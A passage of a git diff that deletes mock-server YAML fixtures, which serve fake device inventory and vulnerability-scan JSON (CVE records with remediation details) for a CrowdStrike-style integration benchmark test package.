-                "serial_number": "FVFDH73HMNHX",
-                "site_name": "Default-First-Site-Name",
-                "status": "normal",
-                "system_manufacturer": "ABCInc.",
-                "system_product_name": "Air,1",
-                "tags": [
-                  "tags"
-                ]
-              }
-            ]
-          }
-          `}}
-  - path: /devices/combined/devices/v1
-    methods: ['GET']
-    query_params:
-      offset: page-1
-      limit: 1
-      sort: modified_timestamp|asc
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "pagination": {
-                "total": 3,
-                "limit": 1,
-                "offset": "",
-                "next": "page-2"
-              }
-            },
-            "errors": [],
-            "resources": [
-              {
-                "agent_load_flags": "0",
-                "agent_local_time": "2023-11-07T04:51:16.678Z",
-                "agent_version": "7.05.17603.0",
-                "bios_manufacturer": "ABCInc.",
-                "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
-                "chassis_type": "9",
-                "chassis_type_desc": "Laptop",
-                "cid": "92012896127c4948236ba7601b886b0",
-                "config_id_base": "6594763",
-                "config_id_build": "1703",
-                "config_id_platform": "4",
-                "connection_ip": "81.2.69.192",
-                "cpu_signature": "460517",
-                "device_id": "3114433dbce478ca48d9a828b9b34be",
-                "device_policies": {
-                  "device_control": {
-                    "applied": true,
-                    "applied_date": "2023-06-20T08:45:26.341093915Z",
-                    "assigned_date": "2023-06-20T08:43:47.736146738Z",
-                    "policy_id": "3f88daf0177f467dae69262a5ce71775",
-                    "policy_type": "device-control"
-                  },
-                  "firewall": {
-                    "applied": true,
-                    "applied_date": "2023-09-11T10:33:44.174488832Z",
-                    "assigned_date": "2023-09-11T10:32:47.853976945Z",
-                    "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
-                    "policy_type": "firewall",
-                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
-                  },
-                  "global_config": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.515775409Z",
-                    "assigned_date": "2023-11-07T04:51:18.94671252Z",
-                    "policy_id": "7e3078b60976486cac5dc998808d9135",
-                    "policy_type": "globalconfig",
-                    "settings_hash": "f01def74"
-                  },
-                  "prevention": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643357971Z",
-                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
-                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
-                    "policy_type": "prevention",
-                    "rule_groups": [],
-                    "settings_hash": "f7a54ca1"
-                  },
-                  "remote_response": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.01735027Z",
-                    "assigned_date": "2023-06-08T10:03:49.505163572Z",
-                    "policy_id": "dabb4def99034f11b9b3d52271584c9f",
-                    "policy_type": "remote-response",
-                    "settings_hash": "8a548e5e"
-                  },
-                  "sensor_update": {
-                    "applied": true,
-                    "applied_date": "2023-11-09T04:52:59.659583066Z",
-                    "assigned_date": "2023-11-09T04:47:43.342175341Z",
-                    "policy_id": "74bfa2bbcd4e46da92a66b107933da11",
-                    "policy_type": "sensor-update",
-                    "settings_hash": "tagged|18;101",
-                    "uninstall_protection": "ENABLED"
-                  }
-                },
-                "external_ip": "81.2.69.192",
-                "first_seen": "2023-06-09T10:00:19Z",
-                "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
-                "groups": [
-                  "882388a8dbea4c44b5e019cfd32c2695"
-                ],
-                "hostname": "CLM101-141.local",
-                "kernel_version": "22.6.0",
-                "last_seen": "2023-11-09T10:25:24Z",
-                "local_ip": "81.2.69.142",
-                "mac_address": "14-7d-da-ad-ac-71",
-                "machine_domain": "SYS",
-                "major_version": "22",
-                "meta": {
-                  "version": "6002",
-                  "version_string": "7:43570272778"
-                },
-                "minor_version": "6",
-                "modified_timestamp": "2023-11-09T10:26:53Z",
-                "os_build": "22G120",
-                "os_version": "Ventura(13)",
-                "platform_id": "1",
-                "platform_name": "Mac",
-                "policies": [
-                  {
-                    "applied": true,
-                    "applied_date": "2023-06-09T10:04:47.643357971Z",
-                    "assigned_date": "2023-06-09T10:03:49.505180252Z",
-                    "policy_id": "2024fac1b279424fa7300b8ac2d56be5",
-                    "policy_type": "prevention",
-                    "rule_groups": [],
-                    "settings_hash": "m7a54ca1"
-                  }
-                ],
-                "product_type_desc": "Workstation",
-                "provision_status": "Provisioned",
-                "reduced_functionality_mode": "no",
-                "serial_number": "FVVDH73HMNHX",
-                "site_name": "Default-First-Site-Name",
-                "status": "normal",
-                "system_manufacturer": "ABCInc.",
-                "system_product_name": "Air,1",
-                "tags": [
-                  "tags"
-                ]
-              }
-            ]
-          }
-          `}}
-  - path: /devices/combined/devices/v1
-    methods: ['GET']
-    query_params:
-      limit: 1
-      sort: modified_timestamp|asc
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "pagination": {
-                "total": 3,
-                "limit": 1,
-                "offset": "",
-                "next": "page-1"
-              }
-            },
-            "errors": [],
-            "resources": [
-              {
-                "agent_load_flags": "0",
-                "agent_local_time": "2023-11-07T04:51:16.678Z",
-                "agent_version": "7.05.17603.0",
-                "bios_manufacturer": "ABCInc.",
-                "bios_version": "2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
-                "chassis_type": "9",
-                "chassis_type_desc": "Laptop",
-                "cid": "12345696127c4948236ba7601b886b0",
-                "config_id_base": "6594763",
-                "config_id_build": "1703",
-                "config_id_platform": "4",
-                "connection_ip": "81.2.69.192",
-                "cpu_signature": "460517",
-                "device_id": "3114433dbce478ca48d9a828b9b34be",
-                "device_policies": {
-                  "device_control": {
-                    "applied": true,
-                    "applied_date": "2023-06-20T08:45:26.341093915Z",
-                    "assigned_date": "2023-06-20T08:43:47.736146738Z",
-                    "policy_id": "3f88daf0177f467dae69262a5ce71775",
-                    "policy_type": "device-control"
-                  },
-                  "firewall": {
-                    "applied": true,
-                    "applied_date": "2023-09-11T10:33:44.174488832Z",
-                    "assigned_date": "2023-09-11T10:32:47.853976945Z",
-                    "policy_id": "1ee301f7e3e24e96ad6a23c73aaac1e3",
-                    "policy_type": "firewall",
-                    "rule_set_id": "1ee301f7e3e24e96ad6a23c73aaac1e3"
-                  },
-                  "global_config": {
-                    "applied": true,
-                    "applied_date": "2023-11-07T04:52:59.515775409Z",
-                    "assigned_date": "2023-11-07T04:51:18.94671252Z",
-                    "policy_id": "7e3078b60976486cac5dc998808d9135",
-                    "policy_type": "globalconfig",
-                    "settings_hash": "f01def74"
-                  },
-                  "prevention": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.643357971Z",
-                    "assigned_date": "2023-06-08T10:03:49.505180252Z",
-                    "policy_id": "1024fac1b279424fa7300b8ac2d56be5",
-                    "policy_type": "prevention",
-                    "rule_groups": [],
-                    "settings_hash": "f7a54ca1"
-                  },
-                  "remote_response": {
-                    "applied": true,
-                    "applied_date": "2023-06-08T10:04:47.01735027Z",
-                    "assigned_date": "2023-06-08T10:03:49.505163572Z",
-                    "policy_id": "dabb4def99034f11b9b3d52271584c9f",
-                    "policy_type": "remote-response",
-                    "settings_hash": "8a548e5e"
-                  },
-                  "sensor_update": {
-                    "applied": true,
-                    "applied_date": "2023-11-09T04:52:59.659583066Z",
-                    "assigned_date": "2023-11-09T04:47:43.342175341Z",
-                    "policy_id": "74bfa2bbcd4e46da92a66b107933da11",
-                    "policy_type": "sensor-update",
-                    "settings_hash": "tagged|18;101",
-                    "uninstall_protection": "ENABLED"
-                  }
-                },
-                "external_ip": "81.2.69.192",
-                "first_seen": "2023-06-09T10:00:19Z",
-                "group_hash": "c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
-                "groups": [
-                  "882388a8dbea4c44b5e019cfd32c2695"
-                ],
-                "hostname": "CLM101-141.local",
-                "kernel_version": "22.6.0",
-                "last_seen": "2023-11-09T10:25:24Z",
-                "local_ip": "81.2.69.142",
-                "mac_address": "14-7d-da-ad-ac-71",
-                "machine_domain": "SYS",
-                "major_version": "22",
-                "meta": {
-                  "version": "6002",
-                  "version_string": "7:43570272778"
-                },
-                "minor_version": "6",
-                "modified_timestamp": "2025-11-09T10:26:53Z",
-                "os_build": "22G120",
-                "os_version": "Ventura(13)",
-                "platform_id": "1",
-                "platform_name": "Mac",
-                "policies": [
-                  {
-                    "applied": true,
-                    "applied_date": "2023-06-09T10:04:47.643357971Z",
-                    "assigned_date": "2023-06-09T10:03:49.505180252Z",
-                    "policy_id": "2024fac1b279424fa7300b8ac2d56be5",
-                    "policy_type": "prevention",
-                    "rule_groups": [],
-                    "settings_hash": "m7a54ca1"
-                  }
-                ],
-                "product_type_desc": "Workstation",
-                "provision_status": "Provisioned",
-                "reduced_functionality_mode": "no",
-                "serial_number": "FVVDH73HMNHX",
-                "site_name": "Default-First-Site-Name",
-                "status": "normal",
-                "system_manufacturer": "ABCInc.",
-                "system_product_name": "Air,1",
-                "tags": [
-                  "tags"
-                ]
-              }
-            ]
-          }
-          `}}
-
-  # test cases for /devices/queries/devices/v1 endpoint
-  - path: /devices/queries/devices/v1
-    methods: ['GET']
-    query_params:
-      offset: 0
-      limit: 1
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |
-          {{ minify_json `
-          {
-            "meta": {
-              "query_time": 0.017724698,
-              "pagination": {
-                "offset": 0,
-                "limit": 1,
-                "total": 3
-              },
-              "writes": {
-                "resources_affected": 0
-              },
-              "powered_by": "detectsapi",
-              "trace_id": "a21557a2-abd0-4363-9293-727c38084b3b"
-            },
-            "resources": [
-              "abc"
-            ]
-          }
-          `}}
-  - path: /devices/queries/devices/v1
-    methods: ['GET']
-    query_params:
-      offset: 1
-      limit: 1
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |
-          {{ minify_json `
-          {
-            "meta": {
-              "query_time": 0.017724698,
-              "pagination": {
-                "offset": 1,
-                "limit": 1,
-                "total": 3
-              },
-              "writes": {
-                "resources_affected": 0
-              },
-              "powered_by": "detectsapi",
-              "trace_id": "b21557a2-abd0-4363-9293-727c384b3b"
-            },
-            "resources": [
-              "def"
-            ]
-          }
-          `}}
-  - path: /devices/queries/devices/v1
-    methods: ['GET']
-    query_params:
-      offset: 2
-      limit: 1
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |
-          {{ minify_json `
-          {
-            "meta": {
-              "query_time": 0.017725698,
-              "pagination": {
-                "offset": 2,
-                "limit": 1,
-                "total": 2
-              },
-              "writes": {
-                "resources_affected": 0
-              },
-              "powered_by": "detectsapi",
-              "trace_id": "a31557a2-abd0-4363-9293-727c384b3b"
-            },
-            "resources": []
-          }
-          `}}
-  - path: /devices/entities/devices/v2
-    methods: ['POST']
-    request_body: /.*"abc"*/
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {
-           "resources":[
-              {
-                 "agent_load_flags":"0",
-                 "agent_local_time":"2023-11-07T04:51:16.678Z",
-                 "agent_version":"7.05.17603.0",
-                 "bios_manufacturer":"ABCInc.",
-                 "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
-                 "chassis_type":"9",
-                 "chassis_type_desc":"Laptop",
-                 "cid":"92012896127c4948236ba7601b886b0",
-                 "config_id_base":"6594763",
-                 "config_id_build":"1703",
-                 "config_id_platform":"4",
-                 "connection_ip":"81.2.69.192",
-                 "cpu_signature":"460517",
-                 "device_id":"3114433dbce478ca48d9a828b9b34be",
-                 "device_policies":{
-                    "device_control":{
-                       "applied":true,
-                       "applied_date":"2023-06-20T08:45:26.341093915Z",
-                       "assigned_date":"2023-06-20T08:43:47.736146738Z",
-                       "policy_id":"2f88daf0177f467dae69262a5ce71775",
-                       "policy_type":"device-control"
-                    },
-                    "firewall":{
-                       "applied":true,
-                       "applied_date":"2023-09-11T10:33:44.174488832Z",
-                       "assigned_date":"2023-09-11T10:32:47.853976945Z",
-                       "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3",
-                       "policy_type":"firewall",
-                       "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3"
-                    },
-                    "global_config":{
-                       "applied":true,
-                       "applied_date":"2023-11-07T04:52:59.515775409Z",
-                       "assigned_date":"2023-11-07T04:51:18.94671252Z",
-                       "policy_id":"7e3078b60976486cac5dc998808d9135",
-                       "policy_type":"globalconfig",
-                       "settings_hash":"f01def74"
-                    },
-                    "prevention":{
-                       "applied":true,
-                       "applied_date":"2023-06-08T10:04:47.643357971Z",
-                       "assigned_date":"2023-06-08T10:03:49.505180252Z",
-                       "policy_id":"1024fac1b279424fa7300b8ac2d56be5",
-                       "policy_type":"prevention",
-                       "rule_groups":[],
-                       "settings_hash":"f7a54ca1"
-                    },
-                    "remote_response":{
-                       "applied":true,
-                       "applied_date":"2023-06-08T10:04:47.01735027Z",
-                       "assigned_date":"2023-06-08T10:03:49.505163572Z",
-                       "policy_id":"dabb4def99034f11b9b3d52271584c9f",
-                       "policy_type":"remote-response",
-                       "settings_hash":"8a548e5e"
-                    },
-                    "sensor_update":{
-                       "applied":true,
-                       "applied_date":"2023-11-07T04:52:59.659583066Z",
-                       "assigned_date":"2023-11-07T04:47:43.342175341Z",
-                       "policy_id":"64bfa2bbcd4e46da92a66b107933da11",
-                       "policy_type":"sensor-update",
-                       "settings_hash":"tagged|18;101",
-                       "uninstall_protection":"ENABLED"
-                    }
-                 },
-                 "external_ip":"81.2.69.192",
-                 "first_seen":"2023-06-08T10:00:19Z",
-                 "group_hash":"b607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
-                 "groups":[
-                    "182388a8dbea4c44b5e019cfd32c2695"
-                 ],
-                 "hostname":"CLM101-131.local",
-                 "kernel_version":"22.6.0",
-                 "last_seen":"2023-11-07T10:25:24Z",
-                 "local_ip":"81.2.69.142",
-                 "mac_address":"14-7d-da-ad-ac-71",
-                 "machine_domain":"SYS",
-                 "major_version":"22",
-                 "meta":{
-                    "version":"6002",
-                    "version_string":"7:43570272778"
-                 },
-                 "minor_version":"6",
-                 "modified_timestamp":"2023-11-07T10:26:53Z",
-                 "os_build":"22G120",
-                 "os_version":"Ventura(13)",
-                 "platform_id":"1",
-                 "platform_name":"Mac",
-                 "policies":[
-                    {
-                       "applied":true,
-                       "applied_date":"2023-06-08T10:04:47.643357971Z",
-                       "assigned_date":"2023-06-08T10:03:49.505180252Z",
-                       "policy_id":"1024fac1b279424fa7300b8ac2d56be5",
-                       "policy_type":"prevention",
-                       "rule_groups":[],
-                       "settings_hash":"f7a54ca1"
-                    }
-                 ],
-                 "product_type_desc":"Workstation",
-                 "provision_status":"Provisioned",
-                 "reduced_functionality_mode":"no",
-                 "serial_number":"FVFDH73HMNHX",
-                 "site_name":"Default-First-Site-Name",
-                 "status":"normal",
-                 "system_manufacturer":"ABCInc.",
-                 "system_product_name":"Air,1",
-                 "tags":[
-                    "tags"
-                 ]
-              }
-           ]
-          }
-  - path: /devices/entities/devices/v2
-    methods: ['POST']
-    request_body: /.*"def"*/
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {
-           "resources":[
-              {
-                 "agent_load_flags":"0",
-                 "agent_local_time":"2023-11-07T04:51:16.678Z",
-                 "agent_version":"7.05.17603.0",
-                 "bios_manufacturer":"ABCInc.",
-                 "bios_version":"2020.0.1.0.0(iBridge:22.11.000.0.0,0)",
-                 "chassis_type":"9",
-                 "chassis_type_desc":"Laptop",
-                 "cid":"92012896127c4948236ba7601b886b0",
-                 "config_id_base":"6594763",
-                 "config_id_build":"1703",
-                 "config_id_platform":"4",
-                 "connection_ip":"81.2.69.192",
-                 "cpu_signature":"460517",
-                 "device_id":"3114433dbce478ca48d9a828b9b34be",
-                 "device_policies":{
-                    "device_control":{
-                       "applied":true,
-                       "applied_date":"2023-06-20T08:45:26.341093915Z",
-                       "assigned_date":"2023-06-20T08:43:47.736146738Z",
-                       "policy_id":"3f88daf0177f467dae69262a5ce71775",
-                       "policy_type":"device-control"
-                    },
-                    "firewall":{
-                       "applied":true,
-                       "applied_date":"2023-09-11T10:33:44.174488832Z",
-                       "assigned_date":"2023-09-11T10:32:47.853976945Z",
-                       "policy_id":"1ee301f7e3e24e96ad6a23c73aaac1e3",
-                       "policy_type":"firewall",
-                       "rule_set_id":"1ee301f7e3e24e96ad6a23c73aaac1e3"
-                    },
-                    "global_config":{
-                       "applied":true,
-                       "applied_date":"2023-11-07T04:52:59.515775409Z",
-                       "assigned_date":"2023-11-07T04:51:18.94671252Z",
-                       "policy_id":"7e3078b60976486cac5dc998808d9135",
-                       "policy_type":"globalconfig",
-                       "settings_hash":"f01def74"
-                    },
-                    "prevention":{
-                       "applied":true,
-                       "applied_date":"2023-06-08T10:04:47.643357971Z",
-                       "assigned_date":"2023-06-08T10:03:49.505180252Z",
-                       "policy_id":"1024fac1b279424fa7300b8ac2d56be5",
-                       "policy_type":"prevention",
-                       "rule_groups":[],
-                       "settings_hash":"f7a54ca1"
-                    },
-                    "remote_response":{
-                       "applied":true,
-                       "applied_date":"2023-06-08T10:04:47.01735027Z",
-                       "assigned_date":"2023-06-08T10:03:49.505163572Z",
-                       "policy_id":"dabb4def99034f11b9b3d52271584c9f",
-                       "policy_type":"remote-response",
-                       "settings_hash":"8a548e5e"
-                    },
-                    "sensor_update":{
-                       "applied":true,
-                       "applied_date":"2023-11-09T04:52:59.659583066Z",
-                       "assigned_date":"2023-11-09T04:47:43.342175341Z",
-                       "policy_id":"74bfa2bbcd4e46da92a66b107933da11",
-                       "policy_type":"sensor-update",
-                       "settings_hash":"tagged|18;101",
-                       "uninstall_protection":"ENABLED"
-                    }
-                 },
-                 "external_ip":"81.2.69.192",
-                 "first_seen":"2023-06-09T10:00:19Z",
-                 "group_hash":"c607fe25348a46d421ff46e19741b0caf5bbc70bb6da1637f56e97b4e1454d77",
-                 "groups":[
-                    "882388a8dbea4c44b5e019cfd32c2695"
-                 ],
-                 "hostname":"CLM101-141.local",
-                 "kernel_version":"22.6.0",
-                 "last_seen":"2023-11-09T10:25:24Z",
-                 "local_ip":"81.2.69.142",
-                 "mac_address":"14-7d-da-ad-ac-71",
-                 "machine_domain":"SYS",
-                 "major_version":"22",
-                 "meta":{
-                    "version":"6002",
-                    "version_string":"7:43570272778"
-                 },
-                 "minor_version":"6",
-                 "modified_timestamp":"2023-11-09T10:26:53Z",
-                 "os_build":"22G120",
-                 "os_version":"Ventura(13)",
-                 "platform_id":"1",
-                 "platform_name":"Mac",
-                 "policies":[
-                    {
-                       "applied":true,
-                       "applied_date":"2023-06-09T10:04:47.643357971Z",
-                       "assigned_date":"2023-06-09T10:03:49.505180252Z",
-                       "policy_id":"2024fac1b279424fa7300b8ac2d56be5",
-                       "policy_type":"prevention",
-                       "rule_groups":[],
-                       "settings_hash":"m7a54ca1"
-                    }
-                 ],
-                 "product_type_desc":"Workstation",
-                 "provision_status":"Provisioned",
-                 "reduced_functionality_mode":"no",
-                 "serial_number":"FVVDH73HMNHX",
-                 "site_name":"Default-First-Site-Name",
-                 "status":"normal",
-                 "system_manufacturer":"ABCInc.",
-                 "system_product_name":"Air,1",
-                 "tags":[
-                    "tags"
-                 ]
-              }
-           ]
-          }
diff --git a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml b/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml
deleted file mode 100644
index b1a9fa8973..0000000000
--- a/test/packages/benchmarks/system_benchmark_crowdstrike/_dev/deploy/docker/files/config-vulnerability.yml
+++ /dev/null
@@ -1,643 +0,0 @@
-rules:
-  - path: /oauth2/token
-    methods: ['POST']
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - 'application/json'
-        body: |
-          {"access_token":"xxxx","expires_in":1799,"token_type":"bearer"}
-  - path: /spotlight/combined/vulnerabilities/v1
-    methods: ['GET']
-    query_params:
-      limit: 1
-      after: page-3
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "query_time": 0.467386633,
-              "pagination": {
-                "limit": 1,
-                "total": 3,
-                "after": ""
-              },
-              "powered_by": "spapi",
-              "trace_id": "810254d8-a768-4def-a2a4-192ad762dbcd"
-            },
-            "resources": [
-              {
-                "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
-                "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-                "aid": "897580adb4ab4540a357536faa41de18",
-                "vulnerability_id": "CVE-2024-26719",
-                "data_providers": [
-                  {
-                    "provider": "Falcon sensor"
-                  }
-                ],
-                "created_timestamp": "2025-07-24T13:42:05Z",
-                "updated_timestamp": "2025-07-29T00:53:18Z",
-                "status": "open",
-                "apps": [
-                  {
-                    "vendor_normalized": "Debian",
-                    "product_name_version": "linux 6.1.140+1",
-                    "product_name_normalized": "linux",
-                    "sub_status": "open",
-                    "remediation": {
-                      "ids": [
-                        "d5befca2cc3a33918f15acae966804fe"
-                      ]
-                    },
-                    "evaluation_logic": {
-                      "id": "e52ad4411f913b76b24866b9ad33c36a",
-                      "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-                      "aid": "897580adb4ab4540a357536faa41de18",
-                      "data_provider": "Falcon sensor",
-                      "created_timestamp": "2025-07-24T13:40:28Z",
-                      "updated_timestamp": "2025-07-24T13:40:28Z",
-                      "logic": [
-                        {
-                          "id": 11529734357680297657,
-                          "title": "Debian 12 is installed",
-                          "type": "inventory",
-                          "description": "",
-                          "negate": false,
-                          "existence_check": "at_least_one_exists",
-                          "comparison_check": "at least one",
-                          "determined_by_comparison": true,
-                          "comparisons": {
-                            "state_operator": "AND",
-                            "state_comparisons": [
-                              {
-                                "entity_operator": "AND",
-                                "entity_comparisons": [
-                                  {
-                                    "actual_value_field": "subexpression",
-                                    "expected_value": "12",
-                                    "operation": "equals",
-                                    "value_datatype": "string"
-                                  }
-                                ]
-                              }
-                            ]
-                          },
-                          "items": [
-                            {
-                              "comparison_result": "true",
-                              "filepath": "/etc/debian_version",
-                              "item_type": "textfilecontent_item",
-                              "subexpression": [
-                                "12"
-                              ]
-                            }
-                          ]
-                        },
-                        {
-                          "id": 5378633537652057925,
-                          "title": "linux is installed",
-                          "type": "inventory",
-                          "description": "",
-                          "negate": false,
-                          "existence_check": "at_least_one_exists",
-                          "comparison_check": "",
-                          "determined_by_comparison": false,
-                          "items": [
-                            {
-                              "arch": "amd64",
-                              "comparison_result": "not evaluated",
-                              "epoch": "0",
-                              "evr": "6.1.140-1",
-                              "item_type": "dpkginfo_item",
-                              "name": "linux-image-cloud-amd64",
-                              "release": "1",
-                              "version": "6.1.140"
-                            },
-                            {
-                              "arch": "amd64",
-                              "comparison_result": "not evaluated",
-                              "epoch": "0",
-                              "evr": "6.1.140-1",
-                              "item_type": "dpkginfo_item",
-                              "name": "linux-image-6.1.0-37-cloud-amd64",
-                              "release": "1",
-                              "version": "6.1.140"
-                            }
-                          ]
-                        }
-                      ],
-                      "simplified_logic": [
-                        {
-                          "id": 11529734357680297657,
-                          "title": "Debian 12 is installed",
-                          "checks": "(subexpression equals 12)",
-                          "match_required": "All comparisons must pass",
-                          "found": [
-                            "subexpression: [12]"
-                          ],
-                          "data": [
-                            "filepath: /etc/debian_version"
-                          ]
-                        },
-                        {
-                          "id": 5378633537652057925,
-                          "title": "linux is installed",
-                          "checks": "No comparisons available : Existence check",
-                          "found": [
-                            "Item was found"
-                          ],
-                          "data": [
-                            "package: linux-image-cloud-amd64-6.1.140-1.amd64",
-                            "package: linux-image-6.1.0-37-cloud-amd64-6.1.140-1.amd64"
-                          ]
-                        }
-                      ],
-                      "host_info": {
-                        "entities_matched": [
-                          {
-                            "asset_id": "ab87facab3de4911a15af6fe385db2bf"
-                          }
-                        ]
-                      }
-                    },
-                    "remediation_info": {
-                      "recommended_id": "d5befca2cc3a33918f15acae966804fe"
-                    }
-                  }
-                ],
-                "suppression_info": {
-                  "is_suppressed": false
-                },
-                "confidence": "confirmed",
-                "host_info": {
-                  "hostname": "ub24-50-10-154",
-                  "local_ip": "1.128.0.0",
-                  "machine_domain": "",
-                  "os_version": "Debian GNU 12",
-                  "ou": "",
-                  "site_name": "",
-                  "system_manufacturer": "Google",
-                  "groups": [
-                    {
-                      "id": "group-123",
-                      "name": "Production"
-                    }
-                  ],
-                  "tags": [],
-                  "platform": "Linux",
-                  "instance_id": "9165043901540429889",
-                  "service_provider_account_id": "126499441333",
-                  "service_provider": "GCP",
-                  "product_type_desc": "Server",
-                  "asset_criticality": "Unassigned",
-                  "internet_exposure": "No",
-                  "managed_by": "Falcon sensor",
-                  "host_last_seen_timestamp": "2025-07-26T00:00:00Z"
-                },
-                "remediation": {
-                  "entities": [
-                    {
-                      "id": "d5befca2cc3a33918f15acae966804fe",
-                      "reference": "Debian linux",
-                      "title": "No fix or vendor remediation available for Debian linux",
-                      "action": "No fix or vendor remediation available for linux on Debian GNU 12. Alternatives might include software removal, OS upgrade, or other mitigating controls",
-                      "link": "",
-                      "vendor_url": ""
-                    }
-                  ]
-                },
-                "cve": {
-                  "id": "CVE-2024-26719",
-                  "base_score": 5.5,
-                  "severity": "MEDIUM",
-                  "exploit_status": 0,
-                  "exprt_rating": "LOW",
-                  "remediation_level": "U",
-                  "cisa_info": {
-                    "is_cisa_kev": false
-                  },
-                  "spotlight_published_date": "2024-04-04T12:46:00Z",
-                  "types": [
-                    "Vulnerability"
-                  ],
-                  "cwes": [
-                    ""
-                  ],
-                  "description": "In the Linux kernel, the following vulnerability has been resolved:\n\nnouveau: offload fence uevents work to workqueue\n\nThis should break the deadlock between the fctx lock and the irq lock.\n\nThis offloads the processing off the work from the irq into a workqueue.\n",
-                  "published_date": "2024-04-03T00:00:00Z",
-                  "references": [
-                    "https://git.kernel.org/stable/c/39126abc5e20611579602f03b66627d7cd1422f0",
-                    "https://git.kernel.org/stable/c/985d053f7633d8b539ab1531738d538efac678a9",
-                    "https://git.kernel.org/stable/c/cc0037fa592d56e4abb9c7d1c52c4d2dc25cd906",
-                    "https://lore.kernel.org/linux-cve-announce/2024040344-CVE-2024-26719-b66e@gregkh/T",
-                    "https://nvd.nist.gov/vuln/detail/CVE-2024-26719",
-                    "https://security-tracker.debian.org/tracker/CVE-2024-26719",
-                    "https://www.cve.org/CVERecord?id=CVE-2024-26719"
-                  ],
-                  "exploitability_score": 1.8,
-                  "impact_score": 3.6,
-                  "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H"
-                }
-              }
-            ]
-          }
-          `}}
-  - path: /spotlight/combined/vulnerabilities/v1
-    methods: ['GET']
-    query_params:
-      limit: 1
-      after: page-2
-    responses:
-      - status_code: 200
-        headers:
-          Content-Type:
-            - application/json
-        body: |-
-          {{ minify_json `
-          {
-            "meta": {
-              "query_time": 0.013642188,
-              "pagination": {
-                "limit": 1,
-                "total": 3,
-                "after": "page-3"
-              },
-              "powered_by": "spapi",
-              "trace_id": "20f000f8-6614-47e8-a94a-af3611d37ddb"
-            },
-            "resources": [
-              {
-                "id": "897580adb4ab4540a457536faa42de18_eda961728a22320da280bd9d181a798b",
-                "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-                "aid": "897580adb4ab4540a357536faa41de18",
-                "vulnerability_id": "CVE-2025-26465",
-                "data_providers": [
-                  {
-                    "provider": "Falcon sensor",
-                    "ports": [22, 80],
-                    "rating": "high",
-                    "scan_id": "scan-123456",
-                    "scan_time": "2025-02-20T12:00:00Z",
-                    "scanner_id": "scanner-xyz"
-                  }
-                ],
-                "created_timestamp": "2025-02-20T10:10:24Z",
-                "updated_timestamp": "2025-02-25T13:33:23Z",
-                "closed_timestamp": "2025-02-26T10:00:00Z",
-                "status": "open",
-                "apps": [
-                  {
-                    "vendor_normalized": "Ubuntu",
-                    "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
-                    "product_name_normalized": "openssh",
-                    "sub_status": "open",
-                    "remediation": {
-                      "ids": ["4688299d204b35a192828bdaf556ecf8"]
-                    },
-                    "evaluation_logic": {
-                      "id": "138bd6a67791327ab367838079b4d786",
-                      "aid": "897580adb4ab4540a357536faa41de18",
-                      "cid": "2cd98db1a47b4c98b913c94d43bfab70",
-                      "complex_check_operator": "AND",
-                      "created_timestamp": "2025-02-20T10:15:30Z",
-                      "logic": [
-                        {
-                          "comparison_check": "equals",
-                          "comparisons": {
-                            "state_comparisons": [
-                              {
-                                "entity_comparisons": [
-                                  {
-                                    "actual_value_field": "version",
-                                    "operation": "equals",
-                                    "value_datatype": "string"
-                                  }
-                                ],
-                                "entity_operator": "AND"
-                              }
-                            ],
-                            "state_operator": "OR"
-                          },
-                          "determined_by_comparison": true,
-                          "existence_check": "Yes",
-                          "id": "logic-12345",
-                          "negate": false,
-                          "status": "active",
-                          "title": "Evaluation Logic for OpenSSH",
-                          "type": "comparison"
-                        }
-                      ],
-                      "updated_timestamp": "2025-02-25T13:33:23Z"
-                    },
-                    "remediation_info": {
-                      "recommended_id": "4688299d207b35a192828bdaf556ecf8",
-                      "minimum_id": "df1af7df1d33382398fb0dc268109a4d",
-                      "patch_publication_date": "2025-02-19T00:00:00Z"
-                    },
-                    "patch_publication_date": "2025-02-19T00:00:00Z"
-                  }
-                ],
-                "suppression_info": {
-                  "is_suppressed": false,
-                  "reason": "Not applicable"
-                },
-                "confidence": "confirmed",
-                "app": {
-                  "vendor_normalized": "Ubuntu",
-                  "product_name_version": "openssh 1:9.6p1-3ubuntu13.4",
-                  "product_name_normalized": "openssh"
-                },
